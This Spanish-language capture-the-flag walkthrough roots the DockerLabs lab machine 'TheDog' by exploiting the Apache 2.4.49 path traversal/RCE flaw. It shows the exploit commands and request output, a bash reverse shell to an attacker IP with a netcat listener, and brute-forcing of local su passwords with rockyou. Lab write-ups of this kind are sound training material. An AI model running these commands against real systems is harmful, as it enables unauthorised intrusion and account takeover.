TheDog DockerLabs (Intermediate)
Instalación
Cuando obtenemos el .zip
nos lo pasamos al entorno en el que vamos a empezar a hackear la maquina y haremos lo siguiente.
unzip thedog.zip
Nos lo descomprimira y despues montamos la maquina de la siguiente forma.
bash auto_deploy.sh thedog.tar
Info:
## .
## ## ## ==
## ## ## ## ===
/""""""""""""""""\___/ ===
~~~ {~~ ~~~~ ~~~ ~~~~ ~~ ~ / ===- ~~~
\______ o __/
\ \ __/
\____\______/
___ ____ ____ _ _ ____ ____ _ ____ ___ ____
| \ | | | |_/ |___ |__/ | |__| |__] [__
|__/ |__| |___ | \_ |___ | \ |___ | | |__] ___]
Estamos desplegando la máquina vulnerable, espere un momento.
Máquina desplegada, su dirección IP es --> 172.17.0.2
Presiona Ctrl+C cuando termines con la máquina para eliminarla
Por lo que cuando terminemos de hackearla, le damos a Ctrl+C
y nos eliminara la maquina para que no se queden archivos basura.
Escaneo de puertos
nmap -p- --open -sS --min-rate 5000 -vvv -n -Pn <IP>
nmap -sCV -p<PORTS> <IP>
Info:
Starting Nmap 7.95 ( https://nmap.org ) at 2025-05-14 14:21 EDT
Nmap scan report for bicho.dl (172.17.0.2)
Host is up (0.000072s latency).
PORT STATE SERVICE VERSION
80/tcp open http Apache httpd 2.4.49 ((Unix))
|_http-server-header: Apache/2.4.49 (Unix)
| http-methods:
|_ Potentially risky methods: TRACE
|_http-title: Comando Ping
MAC Address: 02:42:AC:11:00:02 (Unknown)
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 6.51 seconds
Veremos que solo hay un puerto 80
, que aloja una pagina web, si entramos veremos que es una pagina web dedicada a explicar el comando ping
y puede ser que por ahi vayan los tiros, vamos a realizar un poco de fuzzing
a ver que encontramos.
Gobuster
gobuster dir -u http://<IP>/ -w <WORDLIST> -x html,php,txt -t 50 -k -r
Info:
===============================================================
Gobuster v3.6
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@firefart)
===============================================================
[+] Url: http://172.17.0.2/
[+] Method: GET
[+] Threads: 50
[+] Wordlist: /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt
[+] Negative Status codes: 404
[+] User Agent: gobuster/3.6
[+] Extensions: html,php,txt
[+] Follow Redirect: true
[+] Timeout: 10s
===============================================================
Starting gobuster in directory enumeration mode
===============================================================
/index.html (Status: 200) [Size: 4688]
/html.html (Status: 200) [Size: 766]
Progress: 882240 / 882244 (100.00%)
===============================================================
Finished
===============================================================
Veremos que nos encuentra un html.html
que si entramos dentro del archivo veremos lo siguiente:

Vemos lo que puede ser un usuario llamado punky
y se centra mucho en la herramienta ping
, vamos a probar a ponernos en escucha en la red sobre trafico ICMP
que es el que genera al realizar un ping
.
tcpdump -i <INTERFAZ_RED> icmp -A
Pero no veremos que recibamos nada, por lo que seguiremos buscando.
Escalate user www-data
Apache Path Traversal (RCE)
Vamos a ver en que version esta apache2
ya que estuve un rato buscando pero no encontraba nada, vamos a ver si tuviera alguna version antigua.
whatweb http://<IP>/
Info:
http://172.17.0.2/ [200 OK] Apache[2.4.49], Country[RESERVED][ZZ], HTML5, HTTPServer[Unix][Apache/2.4.49 (Unix)], IP[172.17.0.2], Title[Comando Ping]
Vemos que la version es 2.4.49
vamos a ver si fuera vulnerable en ExploitDB
, si buscamod en dicha pagina podremos ver que efectivamente lo es a un Apache Path Traversal
pero tambien se puede ejecutar codigo de forma remota (RCE
).
Vamos a descargarnos el siguiente repo de GitHub
que es con el que me funciono.
URL = exploit.py Apache Vuln GitHub
Una vez que nos hayamos copiado el archivo exploit.py
vamos a probar a leer el passwd
ejecutando el script de esta forma:
python3 exploit.py --cgi --ip <IP_VICTIM> --port 80 --path /etc/passwd -vs
Info:
#################################################################
# #
# CVE-2021-41773 & CVE-2021-42013 | "Apache Path Traversal" #
# Author: battleoverflow #
# GitHub: https://github.com/battleoverflow #
# #
#################################################################
Exploit running with CGI enabled...
[*] Attacking: 172.17.0.2
[*] Port: 80
[*] Path: /etc/passwd
% Total % Received % Xferd Average Speed Time Time Time Current
Dload Upload Total Spent Left Speed
0 0 0 0 0 0 0 0 --:--:-- --:--:-- --:--:-- 0* Trying 172.17.0.2:80...
* Connected to 172.17.0.2 (172.17.0.2) port 80
* using HTTP/1.x
> POST /cgi-bin/.%%32%65/.%%32%65/.%%32%65/.%%32%65/.%%32%65/.%%32%65/.%%32%65/bin/bash HTTP/1.1
> Host: 172.17.0.2
> User-Agent: curl/8.12.1
> Accept: */*
> Content-Type: text/plain
> Content-Length: 52
>
} [52 bytes data]
* upload completely sent off: 52 bytes
< HTTP/1.1 200 OK
< Date: Thu, 15 May 2025 08:00:12 GMT
< Server: Apache/2.4.49 (Unix)
< Transfer-Encoding: chunked
< Content-Type: text/plain
<
{ [1260 bytes data]
100 1305 0 1253 100 52 298k 12692 --:--:-- --:--:-- --:--:-- 318k
* Connection #0 to host 172.17.0.2 left intact
root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin
sys:x:3:3:sys:/dev:/usr/sbin/nologin
sync:x:4:65534:sync:/bin:/bin/sync
games:x:5:60:games:/usr/games:/usr/sbin/nologin
man:x:6:12:man:/var/cache/man:/usr/sbin/nologin
lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin
mail:x:8:8:mail:/var/mail:/usr/sbin/nologin
news:x:9:9:news:/var/spool/news:/usr/sbin/nologin
uucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin
proxy:x:13:13:proxy:/bin:/usr/sbin/nologin
www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin
backup:x:34:34:backup:/var/backups:/usr/sbin/nologin
list:x:38:38:Mailing List Manager:/var/list:/usr/sbin/nologin
irc:x:39:39:ircd:/run/ircd:/usr/sbin/nologin
_apt:x:42:65534::/nonexistent:/usr/sbin/nologin
nobody:x:65534:65534:nobody:/nonexistent:/usr/sbin/nologin
ubuntu:x:1000:1000:Ubuntu:/home/ubuntu:/bin/bash
punky:x:1001:1001:,,,:/home/punky:/bin/bash
systemd-network:x:998:998:systemd Network Management:/:/usr/sbin/nologin
systemd-timesync:x:996:996:systemd Time Synchronization:/:/usr/sbin/nologin
messagebus:x:100:102::/nonexistent:/usr/sbin/nologin
systemd-resolve:x:995:995:systemd Resolver:/:/usr/sbin/nologin
postfix:x:101:103::/var/spool/postfix:/usr/sbin/nologin
Vemos que efectivamente ha funcionado, por lo que vamos a probar a ejecutar una reverse shell
con estos otros parametros del script.
python3 exploit.py --cgi --ip <IP_VICTIM> --port 80 --cgi -v --rce --cmd "bash -i >& /dev/tcp/<IP_ATTACKER>/<PORT> 0>&1"
Antes de enviarlo nos pondremos a la escucha.
nc -lvnp <PORT>
Y ahora si lo enviamos y volvemos a donde tenemos la escucha veremos lo siguiente:
listening on [any] 7777 ...
connect to [192.168.177.129] from (UNKNOWN) [172.17.0.2] 35486
bash: cannot set terminal process group (9): Inappropriate ioctl for device
bash: no job control in this shell
www-data@20f0d0246196:/usr/bin$ whoami
whoami
www-data
Veremos que ha funcionado, por lo que tendremos que sanitizar la shell
.
Sanitización de shell (TTY)
script /dev/null -c bash
# <Ctrl> + <z>
stty raw -echo; fg
reset xterm
export TERM=xterm
export SHELL=/bin/bash
# Para ver las dimensiones de nuestra consola en el Host
stty size
# Para redimensionar la consola ajustando los parametros adecuados
stty rows <ROWS> columns <COLUMNS>
Escalate user punky
Si listamos los permisos SUID
que hay.
find / -type f -perm -4000 -ls 2>/dev/null
Info:
3670487 56 -rwsr-xr-x 1 root root 55680 Dec 5 12:26 /usr/bin/su
3670279 72 -rwsr-xr-x 1 root root 72792 May 31 2024 /usr/bin/chfn
3670410 40 -rwsr-xr-x 1 root root 40664 May 31 2024 /usr/bin/newgrp
3670346 76 -rwsr-xr-x 1 root root 76248 May 31 2024 /usr/bin/gpasswd
3670421 64 -rwsr-xr-x 1 root root 64152 May 31 2024 /usr/bin/passwd
3670513 40 -rwsr-xr-x 1 root root 39296 Dec 5 12:26 /usr/bin/umount
3670405 52 -rwsr-xr-x 1 root root 51584 Dec 5 12:26 /usr/bin/mount
3670285 44 -rwsr-xr-x 1 root root 44760 May 31 2024 /usr/bin/chsh
3691302 56 -rwsr-sr-x 1 daemon daemon 55624 Apr 1 2024 /usr/bin/at
3692100 20 -rwsr-x--- 1 root suidgroup 16712 May 11 08:55 /usr/local/bin/task_manager
3691371 36 -rwsr-xr-- 1 root messagebus 34960 Aug 9 2024 /usr/lib/dbus-1.0/dbus-daemon-launch-helper
Veremos uno interesante que es el siguiente:
3692100 20 -rwsr-x--- 1 root suidgroup 16712 May 11 08:55 /usr/local/bin/task_manager
Vemos que solamente se podria ejecutar siendo root
o perteneciendo al grupo suidgroup
y no pertenecemos a dicho grupo, pero probablemente el usuario punky
si pertenezca, por lo que vamos a dejarlo para mas tarde.
Ya que no tenemos curl, wget, ssh
etc... Vamos a pasarnos el linpeas.sh
copiandolo en nuestro clipboard
de esta forma desde kali
.
xclip -selection clipboard < linpeas.sh
Ahora desde la maquina victima:
cd /tmp
nano linpeas.sh
#Dentro del nano
<PEGAMOS_EL_LINPEAS.SH>
Lo guardamos y establecemos permisos de ejecuccion.
chmod +x linpeas.sh
Ahora lo ejecutamos de la siguiente forma:
./linpeas.sh
Veremos cosas interesantes, pero nada util por el momento, vamos a probar a realizar fuerza bruta
con el usuario punky
pero en vez de con un diccionario personalizado con el propio rockyou.txt
.
Desde la maquina host
haremos esto:
head -n 500000 /usr/share/wordlists/rockyou.txt | xclip -selection clipboard
Ahora en la maquina victima haremos esto:
cd /tmp
nano rockyou.txt
#Dentro del nano
<PEGAMOS_EL_ROCKYOU_COPIADO>
Lo guardamos y utilizamos un script llamado Su-Force.sh
, y lo vamos a utilizar de esta forma.
URL = Download Su-Force.sh GitHub
bash Su-Force.sh punky rockyou.txt
Info:
Contraseña encontrada para el usuario punky: secret
Veremos que hemos encontrado la contraseña de dicho usuario llamada secret
por lo que vamos a escalar a el.
su punky
Metemos como contraseña secret
y veremos que seremos dicho usuario.
Privilege Escalation
Si vemos a que grupo pertenecemos.
id
Info:
uid=1001(punky) gid=1001(punky) groups=1001(punky),100(users),1002(suidgroup)
Veremos que pertenecemos al grupo suidgroup
justo uno de los permisos SUID
que hemos visto antes, que seria de este binario.
/usr/local/bin/task_manager
Por lo que vamos a investigar que hace dicho binario.
Pero despues de un rato no encontraremos nada, por lo que no nos queda otra que probar fuerza bruta con el usuario root
de la misma forma que hicimos con el anterior usuario.
cd /tmp
bash Su-Force.sh root rockyou.txt
Info:
Contraseña encontrada para el usuario root: hannah
Veremos que ha funcionado, vamos a escalar a root
.
su root
Metemos como contraseña hannah
y veremos que seremos dicho usuario.
Info:
root@6cb5977c3ce1:~# whoami
root
Con esto ya habremos terminado la maquina.
Last updated